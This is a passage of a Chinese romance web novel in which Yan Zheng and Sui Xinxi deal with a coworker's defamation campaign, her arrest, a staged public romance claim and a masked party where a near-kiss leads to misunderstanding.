过了一会儿,里面传来踢踏的拖鞋声,夹杂着女人被吵醒后的不满话语:“谁啊?哪个神经病大晚上地按门铃?” 木万妮将大门拉开一条缝,安全链还挂着。 可是,当她一看到门外站着的人时,下意识地就要关门。 晏铮却不让。他的脚夹在门缝间,又一大掌拍在门上,“开门!” 木万妮只感觉冬夜寒冷的空气在周身凝固了。 她抓紧了睡袍领口,强撑着气势喊道:“开什么门,你私闯民宅!我警告你,立刻给我滚,不然我叫保安了!” 晏铮嗤笑出声,直接掏出一沓打印好的资料扔进门缝里,“看看你干的好事。” 木万妮愣了愣,弯腰捡起其中几张。 她看到了那些找邱明顶罪的文件截图,脸色一下惨白如纸。 她指着晏铮,手指抖得像风中的叶子:“你……你疯了,这是假的!我和你无冤无仇,你大半夜的跑来诬陷我!” 晏铮冷眼看着她的表演,“需要我帮你回忆一下,那批设备配件最后去哪儿了吗?需要我告诉你,邱明拿了你的封口费,现在在哪个工地搬砖吗?也许只要资金到位,他还是非常愿意聊聊当年的事?” 木万妮的瞳孔剧烈收缩,呼吸也急促起来。 她看着晏铮那双毫无波澜的眼睛,终于意识到,眼前这个看似年轻的男孩,不是什么她可以随意拿捏的小角色。 她强装的镇定渐渐瓦解,“你到底是谁……你想怎么样?” 晏铮的声音依然冰冷,“我只想让你知道,你惹错了人,更动错了人。” “你少吓唬我!”木万妮色厉内荏地尖叫起来,试图用声音壮胆。 她掏出手机打给物业,“保安!保安!快来人啊!这里有疯子私闯民宅!快把他抓走!” “你放心,我马上就走”,晏铮嘴角勾起毫无温度的弧度,“但从今天开始,我会陪你玩。玩到你主动爬过来求我为止。” —————————— 木万妮几乎一晚上没合眼,晏铮的话语一直在耳边晃着。 直到天快亮了,她困得受不了,才睡了过去。 不知过了多久,门外忽地响起激烈的拍打声。 她惊醒过来,心跳加速,皱着眉往门口走。 她本想透过猫眼看出去,却发现猫眼不知道什么时候被人堵上了,里面只有一片黑影。 拍门声更急了,外面的人好像很生气。 木万妮犹豫了一下,拉开一条门缝。 就在这时,门被一股大力猛地撞开,几个高大的男人挤了进来,木万妮直接摔倒在地。 一个穿着昂贵套装的女人走了进来,怒气冲冲地盯着她。 木万妮认得这个女人,她就是罗太太。 她瞬间明白怎么回事,刚想为自己辩解几句,罗太太抬手就扇了过来。 她的头被打得偏向一边,半张脸火辣辣的疼。 “给我打!”罗太太仍不解气,尖声命令,那几个壮汉立刻动手。 顿时,雨点般的拳头和脚落在木万妮的手臂上、背上、腿上,罗太太站在旁边看着,嘴里骂着很难听的话。 木万妮嘴里全是血味,浑身都疼,感觉自己像散了架。但她只能尽量缩成一团,希望这顿打快点结束。 终于,男人们停了下来,退到罗太太身后。 罗太太蹲下身,一把抓住木万妮的头发。她被迫看着罗太太愤怒扭曲的脸。 “臭婊子!”罗太太朝她脸上啐了一口,“你也配碰我老公?这次是给你个教训!再让我知道你靠近他,我让你在江市彻底消失,听到没有?” 木万妮头发被扯得很疼,她想点头但动不了。她含混道:“听……听到了……” 罗太太嫌恶地松开她,又拿出手帕擦了擦手,转身带着几个男人离开了。 木万妮在地上缓了半天,才慢慢坐起来,靠在旁边的矮柜上喘气。 她挪到穿衣镜前,被镜子里的人吓了一跳。 她头发乱得像鸡窝,脸肿得老高,颧骨那里一片青紫,眼睛更是只剩一条缝。 她看着惨不忍睹的自己,心里涌起强烈的恨意。她恨罗太太,更恨晏铮。 但是,晏铮能查到她勾引罗总,能查到她的盗窃癖,他的手里肯定还有更多东西。 他昨天就警告过她的,他要慢慢玩。 今天罗太太的事只是一个开始,万一他把她几年前盗窃和找人顶罪的事情抖出来,她不仅工作保不住,可能还得坐牢。 她越想越害怕,顾不得去医院处理伤口,急匆匆地就打给赵富去查晏铮的信息。 第25章 江市高铁站,返程高峰的人流正乌泱泱地往外涌。 隋心喜拖着行李箱,跟着人群往外走。 快到私家车接站区时,她一眼就看到了熟悉的车子。 晏铮今天穿了件工装羽绒服,正站车旁等着,不住地朝出站口这边张望。 隋心喜拖着箱子快步走过去,对着晏铮笑笑,“天气冷,怎么不上车里坐着?” “没事”,晏铮很顺手地接过她的行李,“你路上累吧?” “还行”,隋心喜坐进副驾驶的位置,里面暖气开得很足。 车子平稳地汇入车流。 隋心喜看着前方,街上的红灯笼还没撤完。 她问晏铮:“你春节怎么回事,年都没过就跑了?我大年三十来找你吃年夜饭,才发现你回江市了。” 晏铮握着方向盘,嘴角的笑意淡了点,“那个啊……实习单位有点急事,储总催得紧,说项目卡住了,人手不够,让提前回来帮忙处理。” 隋心喜有点意外,“你们实习生也这么忙?老板都不过年的吗?” 晏铮的手指在方向盘上敲了敲,“嗯,他是工作狂,赶上事儿了,管你休不休息。不过好在说算加班费。” 隋心喜没再追问,转头看向窗外,车里只剩下电台主持人的说话声。 车子等红灯的时候,晏铮侧过脸看了她一眼:“你怎么不说话,是不是不信我啊?” 隋心喜摇摇头,“没不信。工作嘛,能理解。对了,你前面右转,我得回公司一趟。” 晏铮愣了一下,“今天才初七吧?” “你要加班,我也要加班”,隋心喜无奈地笑了声,“王雪上午给我发信息,说节前有个项目报告还有点尾巴没弄利索,一上班就要用。我得回去拿材料,省得明天一早抓瞎。” —————————— 二十分钟后,车子拐进了写字楼的停车场。 隋心喜先下了车,对晏铮道:“你等我一下,我很快下来。” 晏铮也下了车。他扶着车门,正要说点什么,街角处突然冲出来一个跌跌撞撞的人影。 那人裹着一件大衣,脸上戴着墨镜和口罩,头上还严严实实地包着条大围巾。 她慌乱地扑到晏铮旁边,死命抓住他的手臂,“晏先生,你别走!求求你,听我说!” 尽管裹得像个粽子,晏铮还是一下子认出了木万妮的声音和身形。 他的脸色沉下来,用力想把手抽回来,但她怎么也不肯撒手。 “放手!”晏铮低喝一声,带着吓人的狠劲。 “我不放!晏先生,我错了,我真的知道错了!求求您放过我这一次!” 木万妮的墨镜片后面好像有水光,“我春节这几天一直在找您,吃不下睡不着,天天做噩梦!今天好不容易等到您了,我求您高抬贵手,您要我怎么做都行!” 她语无伦次,抓着晏铮的手像是抓着最后一根稻草,身体软得要往下滑,“道歉也行,澄清也好,您说怎么样就怎么样!只要您别再往外放东西,我求求您了!” 晏铮眉头拧成了疙瘩,眼底的厌恶和怒火压都压不住。 他猛地使劲一甩胳膊,总算摆脱了木万妮的双手。 他迅速站到隋心喜面前,挡住木万妮,声音冷得像冰碴子:“滚远点,我没工夫听你在这儿嚎!” “晏先生,求您了!给我一分钟,就一分钟!”木万妮被甩得踉跄后退,差点摔倒,又不管不顾地扑上来,“我不该乱说话,是我嘴贱!您大人有大量……” “我叫你滚一边去说!”晏铮音量突然拔高,眼神凌厉地扫过木万妮,脸上却有一闪而过的慌乱。 其实他最怕的,就是木万妮这个疯婆子,在隋心喜面前嚷出那些恶心的谣言。 他不想让她受到任何伤害,必须立刻把木万妮赶走! 可就在这时,隋心喜上前一步,站到晏铮旁边,“没什么不能说的,就让她在这儿说。” 晏铮扭过头看隋心喜,“姐?你……” 隋心喜没看他。她的目光钉在木万妮的脸上,冷冷道:“木女士,网上那些话,说我是谁的金丝雀,是你让人发的吧?” “我……”木万妮刚想抓住机会开口,隋心喜却又打断她,“你不用急着辩解,也不用道歉,我不需要。” “春节在家,我同事王雪把网上那些截图发给我了。刚看到的时候,我气得浑身发抖,真想立刻撕了造谣那张嘴。不过我很快想明白了,生气没用,哭更没用,我也没有必要拿你们的错误来惩罚自己。” “所以呢,我找了律师。专业的事,交给专业的人办。你,木万妮女士,还有你那个跑腿的赵富先生,你们俩是怎么传播那些诽谤我的东西的,律师那边,都固定好了证据。” “虽然法院现在放假,但律师已经准备好了起诉书和相关材料。大概下周吧,法院的传票和起诉书副本,就能送到你手上。你和赵富,谁也跑不了。这事儿,我跟你们没完。” “什么?你居然要告我?”木万妮像被蝎子蜇了一口,尖叫起来。 她今天豁出去这张老脸,跑来苦苦哀求晏铮,甚至做好了跪下磕头的准备。 只要晏铮肯罢手,她总有机会东山再起。 可是,她做梦都没想到,隋心喜那边,竟然一声不吭地直接起诉她了。 她气得声音都在抖,“你们两个……你们就是要一起整死我是不是?!” 她被巨大的挫败感缠绕着,干脆破罐子破摔,一把扯掉碍事的墨镜和口罩,露出还未伤愈的脸庞。 她瞪着并肩站立的隋心喜和晏铮,怪笑起来:“隋心喜!你装什么冰清玉洁?你这个女人真是虚伪到家了!” 她指着晏铮,目光带着无尽的鄙夷和恶毒,“你对着他可是一口一个弟弟,哪门子的亲弟弟啊?情弟弟吧!” 木万妮的尖锐指责,像块大石头砸进了平静的水坑,水花四溅。 写字楼门口这块地方,平时人来人往只顾着赶路,这会儿像被按下了暂停键。 先是旁边两个刚停好共享单车的年轻人,循着声儿扭头看过来。 站在便利店门口抽烟的老板,也踮着脚往这边瞅。 保安亭里的保安本来在看手机,听见动静不对,探出半个身子。 人们就跟蚂蚁闻着糖味似的,三三两两地聚拢过来。 隋心喜能感觉到周围人脸上写着大大的问号,那些探究的目光,密密麻麻扎在她身上。 “看什么看,没见过吵架啊?”木万妮大概是看到人多了,反而更来劲了。 她冲着围观的人吼了一嗓子,试图把水搅得更浑,“来来来,别客气啊!都来看看这对狗男女,装什么姐弟情深!□□啊呸!” 人群里议论开了,有人指指点点,有人拿出手机,镜头若有若无地对准这边。 保安快步走了过来,一脸严肃:“干什么干什么?别堵在门口闹事。” 就在这时,写字楼的旋转门又出来一个人,正是王雪。 她看到了这边的骚乱,一脸惊讶地走过来,眼神在隋心喜三人之间打转。 隋心喜心里咯噔一下。 王雪知道了,就等于公司里的其他人很快也会知道了。 “金丝雀”的谣言才被压下去,现在眼看她又要被卷进新的舆论漩涡。 她舔了舔干燥的嘴唇,对着王雪,也对着那些好奇的眼睛喊出来:“不是!你们别听她胡说!他是我……” 话还没完,她的肩膀就被一只结实的手臂揽了过去,身体完全贴在了晏铮的身侧。 她愕然地抬起头,只看到他线条利落的下颌线。 他对着她笑了笑,又对着所有竖着耳朵的人,一字一句道:“看到了吧,我就是隋心喜男朋友。她叫我‘弟弟’,不过是对我的爱称,是情侣之间的小情趣。” 他顿了顿,目光像冰冷的刀片,在木万妮身上刮过,嘲讽道:“看你这样子,一把年纪了还单着吧?难怪理解不了。人老珠黄,脑子也不好使,净琢磨些下三滥的玩意。” 这话像往油锅里泼了瓢冷水,围观的人群顿时炸开了锅。 “嚯!原来是情侣啊!” “我就说嘛,看着就不像姐弟……” “哇,这小帅哥够猛的,直接怼脸!” “啧啧,那女的有毛病吧,跑这来撒泼?” “哎,那不是富邦的隋心喜吗?找的男友又帅又有男友力啊!” 王雪脸上的困惑也变成了恍然大悟。 她挤开旁边的人,直接走到隋心喜和晏铮面前,“哎呀隋隋,你可真行啊!我说你怎么总遮遮掩掩的,加班晚了有人接,问你还不承认。原来这帅弟弟就是你男朋友啊,难怪上次我让你介绍,你一口就回绝了!” 王雪嗓门不小,周围的人都听得清清楚楚。 隋心喜感觉脸上火烧火燎,晏铮搂着她肩膀的手臂更是像烙铁一样烫。 她想反驳,可晏铮的话已经砸出去了。她不能把场面弄得更难堪。 而晏铮搂着她的手臂也收紧了一下,是在无声地提醒她。 她只好深吸一口气,带着点被撞破的无奈,“王雪,我不是刻意瞒着,就是想我两关系稳固一点,再跟大家说。” “理解理解,你没怎么谈过恋爱嘛,害羞正常!”王雪笑得见牙不见眼,一副过来人的样子,又冲晏铮竖了个大拇指,“不过你男朋友够可以的啊,刚才那话,霸气!” 反观木万妮那边,表情彻底垮了。 她不仅讨不到半点便宜,反而像个跳梁小丑,把自己最后一点脸面都丢尽了。 “好……好得很……你们给我等着!”她撂下一句毫无分量的狠话,转身就想冲出人群的包围圈。 就在这时,街上传来几声短促有力的鸣笛,一辆闪着红蓝警灯的警车,停在了路边。 车门打开,两名穿着制服的民警径直走向正要逃跑的木万妮。 他们出示了证件,确认了木万妮的身份,告诉她:“你涉嫌与几起盗窃案子有关,跟我们走一趟,配合调查!” 话音刚落,一名民警已经上前一步,动作利落地抓住了木万妮的胳膊。 “不,你们凭什么抓我!我没有,是他们陷害我!”木万妮如梦初醒,开始疯狂地挣扎,“放开我,放开!你们知道我是谁吗?我要找律师,我要告你们!” 她的挣扎在训练有素的民警面前毫无作用,反而引来了更多人的驻足张望。 周围的议论声更大了,夹杂着“活该”“报应”“抓得好”之类的感叹。 每个人都伸长了脖子,目送着刚才还气焰嚣张的女人,此刻狼狈不堪地被塞进警车后座。 警灯无声地闪烁着,车门关上,隔绝了木万妮模糊不清的叫骂。 第26章 隋心喜推开富邦科技的大门。 她只想拿了资料就走,最好谁都别和她说话。 可惜事与愿违。 她刚在自己工位坐下,王雪端着水杯,快步从茶水间蹿到她跟前,脸上是藏不住的八卦兴奋,“隋隋,你‘弟弟’不上来坐坐吗?” “他上来干嘛”,隋心喜勉强挤出个笑,低头开抽屉,一心想快点找到那份该死的季度报表初稿。 王雪笑得花枝乱颤,“你之前‘金屋藏娇’呢,现在既然都大庭广众公开了,什么时间给大伙正式介绍一下?” 对面的李姐听到两人对话,也加入了话题。 她年纪大些,但一直是办公室里爱张罗的热心肠,“谈恋爱是好事嘛,都什么年代了,姐弟恋怎么了?我刚才在楼上也看到了,那小伙子挺帅气啊,你两什么时候请我们喝喜酒?” “心喜姐,男主角多大了啊?看着好年轻,是大学生吗?”新入职的小吴也一脸好奇地探过头,眼睛亮晶晶的。 “哎呀,你们就别围着隋隋了”,王雪看热闹不嫌事大,故意提高声音,“人家刚公开,还没适应呢!不过这么大的喜事,是不是得请客啊?庆祝咱们富邦一枝花终于名花有主啦!” “对,请客!必须请!” “就是就是,心喜姐请吃饭!” “择日不如撞日,就今晚吧!” “赞成!附近新开那家火锅不错!” 起哄的声音一下子响了好几个,连隔壁组的同事都闻声围过来。 大家七嘴八舌的,隋心喜被堵在工位边上,耳边嗡嗡的像有无数只小虫子在钻。 她看着一张张或真心祝贺或凑热闹的脸,只觉得胸口发闷,有股深深的无力感。 楼下晏铮那番话,已经堵死了所有解释的路。她再说什么,只会显得更矫情更可疑。 她深吸一口气,抬起手往下压了压,“好了好了……谢谢大家关心。吃饭可以,但今晚不行,太仓促了。明天吧,明天是节后上班第一天,下班后我请大家,你们定地方,别太贵就行。” “哇!心喜姐万岁!” “大气!” “明天吃大餐咯!” “我去看看哪家好吃!” 办公室里的欢呼声响成一片,每个人都喜笑颜开,除了被围在中间的隋心喜。 她总算在抽屉最底下摸到了那份报表,连忙抽出来攥在手里。 “我还有事,先走了”,她挤出人群,逃也似的往电梯口快步走去,身后还能听到王雪笑着喊:“明天带你家‘弟弟’一起来啊!” —————————— 隋心喜上了车,将那份攥得有些发皱的报表,扔在了后排。 她靠在椅背上,闭上眼睛,长长地呼出一口气。 晏铮坐直了身体,目光一直锁在她脸上。 他喉结动了动,刚才那种掌控全局的气势,已经消失得无影无踪。 他小心翼翼地开口:“姐?” 隋心喜没睁眼,也没应声。 晏铮心里更没底了。他迅速组织好语言:“木万妮那疯女人,张嘴就乱咬人。当时那么多人围着看,我说我是你男朋友,最能堵她的嘴,也省得以后麻烦不断。姐,我不是故意的,就是不想再有人嚼你舌根了。” 隋心喜终于睁开了眼睛,侧过头。她的眼神很平静,平静得让晏铮心里发毛。 她点了下头,“嗯,你那方法是挺干脆的。不过现在戏演完了,没有外人了。” 晏铮的心一沉,一种不好的预感攥紧了他,“什么意思?” 隋心喜沉默了一会,努力避开会让彼此难堪的字眼,“我们是邻居,是姐姐和弟弟。等过一段时间,大家不怎么关注这事了,我会找个合适的理由,说我们性格不合,或者别的什么,自然而然就分开了。这样对大家都好。” “为什么?”晏铮的声音兀地拔高。他马上又意识到失态,想强压下去,但里面的急切和抗拒根本藏不住,“我哪里做得不够好吗?” 他身体不由自主地朝她这边倾过来,眼神灼热,“我知道现在说这个不合适,但我真的不是小孩了!我很快就大学毕业,也有能力保护你。你看,木万妮那事……” “我不需要你保护”,隋心喜打断他的话,“一点都不需要。” 晏铮被她这句话钉在原地,后半截话卡在喉咙里。 “那个关于我的黄谣,你早就知道了吧?所以在老家的时候,你才一声不响,年都没过就急匆匆跑回江市”,隋心喜看到晏铮瞳孔微缩,知道自己猜中了,“你想干什么?像以前帮助被霸凌的章平一样,用你的办法,替我把事情解决掉?” 晏铮的嘴唇抿成一条直线,没有否认。 “我也找了律师,提供了证据,这是我的方法”,隋心喜抬了抬下巴,有着职场女性的冷静,“你说你是成年男人,好。那你也应该明白,我的事情,我可以自己负责,你不用替我冲锋陷阵。” 晏铮神色复杂地看着她。 此刻,他多么想不管不顾地倒出所有心思:他做这一切,只是因为他受不了任何人伤害她,因为他喜欢她。 可是,她的眼神是那么的冷…… 如果他敢表白,她大概率会像受惊的鸟一样飞走,甚至把他赶出她的生活,连“弟弟”这个身份都收回。 她做得出来。她现在的冷静,就是一种无声的警告。 晏铮胸腔里滚烫的冲动,被硬生生摁了回去。 他的肩膀垮了下来,眼神中的不甘也褪去了。 再开口时,他的声音低哑下去,“对不起,姐。是我没跟你商量就乱来,又给你添麻烦了。” 他恢复了那副她最熟悉的“奶狗弟弟”模样,“我都听你的,就按你说的办吧。” 车内陷入了安静,空调的送风声格外清晰。 天渐渐暗了,窗外的城市灯火流转,光影掠过隋心喜的侧脸。 晏铮的道歉和妥协,并没有让她感到轻松。相反,一种更难言喻的情绪,也在她心底弥漫开来。 其实,当晏铮在众目睽睽之下,毫不犹豫地搂住她,说出“我是她男朋友”时,她心跳漏掉一拍,血液似乎都冲到了脸上。 她是激动的。那股一直被她压抑的隐秘情感,在他强势的宣告下,蠢蠢欲动。 然而,母亲那张严肃的脸,同一时间浮现出来。 春节回家,她试探性地提了一下,晏铮为了方便实习,现在住在她那里。 母亲立刻皱起眉头,“心喜啊,你一个姑娘家,要注意影响。小铮也大了,他是男孩子,总住在你那算怎么回事?邻居会说闲话的,别让人误会了!” 是啊,在庞夏蕊那一辈人的观念里,他们只能是姐弟,任何逾越都是不可接受的。 正是这份沉甸甸的反对,像一盆冷水,浇灭了她心底那点不该有的悸动。 晏铮那个构建出来的男朋友身份,再动听,再让她心跳加速,也只是暂时的虚假避风港。 而她隋心喜,从小到大都是脚踏实地的人,容不得这种建立在自我麻痹上的虚幻关系。 与其沉溺片刻的温暖,然后面对更残酷的破碎,不如一开始就清醒地站在岸边,远离那看似诱人的漩涡。 —————————— 晚上九点,隋心喜在酒吧里眯着眼扫了一圈,在角落的卡座里看见了一颗熟悉的脑袋。 王贤正歪在沙发里刷手机,屏幕的光照得他脸白晃晃的。 他听见隋心喜的声音,抬起头,“哟,舍得露面了?隋大小姐日理万机,约你可真不容易。” 隋心喜在他身旁坐下,故意拿话噎他:“少来这套。王大少爷连招呼都不打一个突然跑回来,国外混不下去了?” “靠,别提了!”王贤被戳了痛处,整个人往沙发背上一瘫,平时的潇洒全没了,“我这是倒了八辈子血霉,真他妈瞎了眼!” “怎么了这是?”隋心喜看他真蔫了,也收起玩笑的心思。 王贤一脸愤懑,“老子好不容易掏心掏肺,以为遇到真爱了!你记得吧?就上次视频给你看那混血模特,帅得人神共愤那个。” 隋心喜点点头,有点印象,王贤当时在视频里兴奋得像中了彩票。 “我追着他屁股后面跑去了纽约啊,伺候祖宗一样。他妈的居然是个双插头,这边哄着我给他投资搞什么狗屁艺术工作室,那边还吊着俩富婆。我的钱啊,全他妈打水漂了!最后连滚回来的机票钱,都是刷爆了信用卡才凑出来的!”他说得咬牙切齿,端起杯子狠狠灌了一口。 隋心喜没忍住笑出声,看他眼神要杀人,赶紧捂住嘴:“你这也太惨了点。” 她拍了拍王贤的胳膊,“不过你王大少爷怕什么?就凭你这张脸,这身段,还有这张叭叭叭的小嘴,追你的帅哥,从这酒吧排队排到江边都富裕吧?你甩过多少个了都?你看看我,母胎solo到现在,跟谁哭去?” 王贤没反驳,只是那双狭长的凤眼上上下下地扫视她。 “欸,说到这个”,他的眼神变得探究,“你家那小帅哥,晏铮现在怎么样了?是不是长开了更好看了,得有二十出头了吧?” 隋心喜脸上的笑意凝了一下,拿起酒杯假装研究里面的液体和冰块。“就那样呗,上大学呢。” “就那样?”王贤拖长了调子,明显不信,“我可记得贼清楚。那小子小时候,就爱跟在你后头,小尾巴似的,甩都甩不掉,姐姐姐姐叫得一个甜。现在肯定是个大帅哥了吧?个子高不高?有没有女朋友?” “不知道!”隋心喜回答得飞快,“你问这些干嘛?他小孩一个,忙学业呢。” 王贤嗤笑一声,“二十多的大小伙子还小孩?隋心喜,你糊弄鬼呢?” 他故意停顿了一下,笑得像个狐狸,“哎呀,你不说算了。我最喜欢帅哥了,特别是那种刚长成的小狼狗小奶狗混合体……啧啧,想想都带劲。你不是说我魅力大嘛,看看我能不能把他掰弯?” “王贤!”隋心喜脸蹭地涨红,“你敢?不许你打他主意,听见没有!” 见隋心喜真的急了,王贤的声音沉了下来,“你不对劲,非常不对劲。老实交代,你跟晏铮那小子,怎么回事?” 隋心喜半天没吭声。 王贤再三逼问道:“说啊!我一回来就交待了感情生活,你有什么瞒着我的?大家GAY蜜这么多年。” 隋心喜被他问得无处可逃,认命般地开口:“行行行,我说吧。” “我也不知道怎么就……他一直是我弟弟,对吧?我看着他一点点长大,照顾他都成习惯了。” “几年前,他们学校在高考结束后,搞了个成人礼,我给他买了套西装当礼物。他去试衣间换衣服,出来的时候……我脑子里嗡的一声,突然就发现,他不知道从什么时候开始,就长成了我脑子里喜欢的那种男人的样子。” 王贤挑了挑眉,有种“果然如此”的了然。 隋心喜苦笑了一下,“然后我就懵了呀!这感觉太罪恶了,我怎么能对他有那种想法?我就拼命告诉自己不行,绝对不行,是太久没谈恋爱出现幻觉了。” 王贤追问:“那他对你……” 隋心喜抿了抿嘴,“后来我才知道,他对我……好像也不是纯粹的弟弟对姐姐……” 她烦躁地抓了抓头发,那些两人之间的暧昧相处,实在是难以启齿:“总之就是很乱,我快烦死了你知道吗!” 王贤沉默了几秒,忽然长长地“哈”了一声,打破了沉重的气氛,“我的老天爷啊隋心喜!你这剧情,比我看过的所有蹩脚偶像剧加起来都狗血一百倍!” 隋心喜没好气地白了他一眼。 “但是!”王贤猛地坐直,“听哥一句劝!喜欢就他妈上啊,犹豫个屁!” 隋心喜被他这气势唬得一愣,“那是我弟。” “什么弟弟姐姐的,扯淡!”王贤话语里带着恨铁不成钢的味道,“晏铮现在是个成年人,二十二岁,不是十二!他有脑子,有想法,知道自己在干什么。你两互相有意思,那正好一拍即合啊!你两还比别人多相处了十几年呢,多好的基础!” “那万一不行呢”,隋心喜嘟囔着,没什么底气,“万一试了不行,以后见面多尴尬,连现在的样子都维持不了了。” “隋心喜啊!”王贤气得想敲她脑袋,“你都快三十了,怎么还跟个十六岁的小姑娘似的瞻前顾后?你光在这瞎琢磨,不试试你永远不知道行不行!退一万步说,就算你们不合适,处了几个月或者几年分了,那又怎么样?也比你现在这样天天自己跟自己较劲,心里跟猫抓似的强一万倍吧?至少你试过了,努力过了,对自己有个交代了!总好过几十年后,你想起这事后悔得想撞墙:‘哎呀当年要是勇敢一点就好了!’你愿意那样?” 王贤的话像连珠炮一样砸过来,每一句都敲在隋心喜心里最摇摆的地方。 她怔怔地看着他,眼神里的迷茫和退缩,渐渐被驱散。 王贤看她听进去了,又继续‘上课’:“再说了,你以为你现在这样,对晏铮就公平?你俩搁这儿互相猜,互相躲,互相折磨,这叫浪费生命,浪费感情!你痛快点,行就行,不行拉倒,对大家都好!” “你不用总觉得你是姐姐,就要替他承担所有后果。他该为自己的选择和感情负责了,而你,只需要为你自己的心负责。” 隋心喜还是有点犹豫,“话是如此,但是我妈不同意。” 王贤愣了一下,夸张地捂住了肚子,笑得肩膀一耸一耸的。“哎哟隋心喜同志,您今年贵庚啊?你以后的日子是跟你妈过一辈子,还是跟你喜欢的男人过一辈子?” 隋心喜被问住了。 “你妈不同意,你就乖乖听话了?那她同意谁,你就得跟谁?她看中隔壁阿姨家儿子,你就得去嫁?你是独立的个体,你有权利选择你自己想要的生活,想要的人。孝顺不是愚孝!为了让你妈高兴,你就得委屈自己,跟一个你不喜欢甚至可能讨厌的男人凑合过几十年?你想想那日子,不恶心吗?” “日子是你自己过的,酸甜苦辣都得你自己尝。别让别人,哪怕是你妈,替你做这个最重要的决定”,王贤看着隋心喜眼中凝聚的光,语气温和下来,“你喜欢晏铮,就去争取。你妈那边,总有办法,可以慢慢沟通。关键是你自己得先下定决心。” 隋心喜深深地吸了一口气,又彻底地呼了出来,仿佛把这段时间的郁结和忐忑都呼了出去。 她感觉胸口那块压得她喘不过气的大石头,没那么沉了。 她的嘴角扬了扬,“你说得是有点道理。” “废话!”王贤得意地扬了扬下巴,“老子虽然情路坎坷,但看别人的事儿门儿清!” 隋心喜笑了,有点不好意思,“那我该怎么办?直接找他说清楚?” “啧!急什么!”王贤大手一挥,一副“包在我身上”的架势,“这种事,讲究氛围,讲究水到渠成。哪能跟个愣头青似的直接冲上去。” 他摸着下巴,眼珠子滴溜溜地转,“这事交给我,我策划一下,让他主动。你就等着我的好消息吧!” 第27章 半个月后是王贤的生日,他喜欢热闹,又想助攻好友,特意包下酒吧举行了一场假面派对。 隋心喜下班后换好衣服,匆匆赶赴现场。 她推开酒吧的门,眼前光怪陆离的景象让她有点发愣。 音乐轰隆炸着地板,震得脚底板发麻。 整个场子像打翻了的颜料桶,红的假发、绿的皮裙、金的亮片、羽毛、纱巾……挤挤挨挨地扭动着。 每个人脸上都罩着面具,猫脸的、骷髅的、镶嵌羽毛的、涂满油彩的,谁也看不清谁。 王贤戴着夸张的金色威尼斯面具,正在舞池里摇头晃脑。 隋心喜过去喊了他一声,他拨开人群,带着她坐到角落卡座里。 他上下打量着隋心喜,“啧啧啧,我的姐!让你变装,你真就只变个‘装’啊?咱说好的性感小野猫呢,你怎么就穿个女巫袍子来了?” 按照王贤的计划,今晚的目标是要逼晏铮亲口说出心意,隋心喜哪有心思琢磨这些花里胡哨的。 她没好气地瞪了他一眼,“闭嘴吧你,我现在心都要跳出嗓子眼了。” “就知道你紧张得跟高考似的。瞧瞧,我多贴心”,王贤指了指自己金光闪闪的面具,又点点隋心喜脸上那个覆盖了大半张脸的银色羽毛面具,“面具一戴,谁也看不见你脸红得像猴子屁股,怕啥?” 隋心喜没吭声,眼神不由自主地飘向酒吧门口。 王贤顺着她的目光也扫了一圈人头攒动的舞池,问:“哎,你家弟弟呢?主角别怂得不敢来了吧?” “他说学校还有点事要处理,应该迟点就到。”话刚出口,隋心喜的视线就黏在了一个刚踏进来的身影上。 那是个高大的男人,一身深蓝色的民国军装,衬得身形格外挺拔。 他戴着纯黑色的半脸面具,只露出紧抿的薄唇和线条利落的下颌。 他没戴假发,黑发梳理得一丝不苟。 这身军阀少爷的装扮,在一群颜色爆炸、造型诡异的妖魔鬼怪里,格外抢眼。 隋心喜以手肘碰了碰王贤,声音有点颤,“晏铮来了。” 王贤立刻来了精神。他在隋心喜后背用力推了一把,“你赶紧上,按照计划行事!” 隋心喜毫无准备地被推离卡座,跌跌撞撞往前走了几步才站稳。 晏铮此时已经来到了舞池边缘。隔着那些戴面具的男男女女,隋心喜觉得他的视线在她身上停顿了一瞬。 她深吸好几口气,几乎是用挪的,穿过几个扭动的“外星人”和“中世纪骑士”,站到了晏铮面前。 她把心一横,僵硬地朝他伸出了手,掌心全是汗。 晏铮的目光落在她面具上,又缓缓移到那只微微发抖的手。 面具遮蔽了他大部分表情,只有紧绷的下颌泄露出一丝讶异。 就在隋心喜觉得手臂酸麻、几乎要缩回来时,晏铮那只骨节分明的手包裹上来,将她带入了舞池涌动的人潮中心。 在变幻的灯光中,晏铮一手扶住隋心喜的后腰,一手托着她的手。手心滚烫的温度,清晰地传递了过来。 隋心喜学过一点交谊舞,但此刻脑子里一片空白,只得机械地随着他的引领移动脚步。 两人贴得很近,她的额头几乎要碰到他的下巴。她能感觉到他胸膛平稳的起伏,与她胸腔里那只疯狂蹦跶的小鹿形成鲜明对比。 晏铮的目光透过黑色面具的孔洞,沉沉地落在她脸上。 他跳得游刃有余。那只放在她后腰的手,力道收放得刚好,既不会让她觉得冒犯,又牢牢地将她圈在他的控制范围内。 时间在紧密的肢体接触中,变得粘稠而漫长。隋心喜觉得自己快窒息了。 突然,整个世界陷入伸手不见五指的黑暗。 震耳欲聋的音乐戛然而止,人群骤然爆发出阵阵惊呼。 因为王贤早就通过气,隋心喜倒没有怎么惊讶,只是按照他的“教学”,硬着头皮环抱住了晏铮。 可还未等她有下一步动作,旁边就有人撞了过来,她短促地“啊”了一声,茫然地抬起头,嘴唇刚好落在了晏铮的嘴角。 但这在不明所以的晏铮看来,就是她主动亲吻了自己一下。 他的脑子瞬间炸开了。他抽离了双手,在黑暗的掩护之下,头也不回地匆匆离场。 一分钟后,灯光重新笼罩了整个空间。 音乐再次响起,人群惊魂未定地抱怨着,整理着被挤歪的面具和衣服。 隋心喜独自站在原地,呆呆地像一个断电的玩偶。 王贤穿过还在混乱中的人群,将她拉到一边。他扫视四周,没看到那个深蓝色的身影,“晏铮呢?刚才停电时的计划成了没?他什么反应?” 隋心喜摘下面具,缓慢地抬起头。她的眼神空茫茫的,几秒钟后,大颗的泪珠滚落出来,“他推开我,走了。” 王贤傻眼了,赶紧扶住她有点摇晃的肩膀:“怎么会推开?是不是太突然,吓到了?还是……” “不是啊”,隋心喜摇摇头,更多的泪水落下,“之前那次他偷亲我,肯定就是一时冲动,觉得好玩……只有我这个傻子当真了,还巴巴地贴上来自取其辱……他一定讨厌我了,才会走人……” 王贤扶着瘫软下去的好友,手忙脚乱又茫然无措。 晏铮那小子脑子里到底装了什么? 计划得好好的,停电、意外接触、感情升温……怎么变成这样了? “别哭别哭,心喜,别哭啊”,他拍着她的背,安慰道:“这中间肯定有误会!或者这小子刚才没认出你?戴着面具呢!” 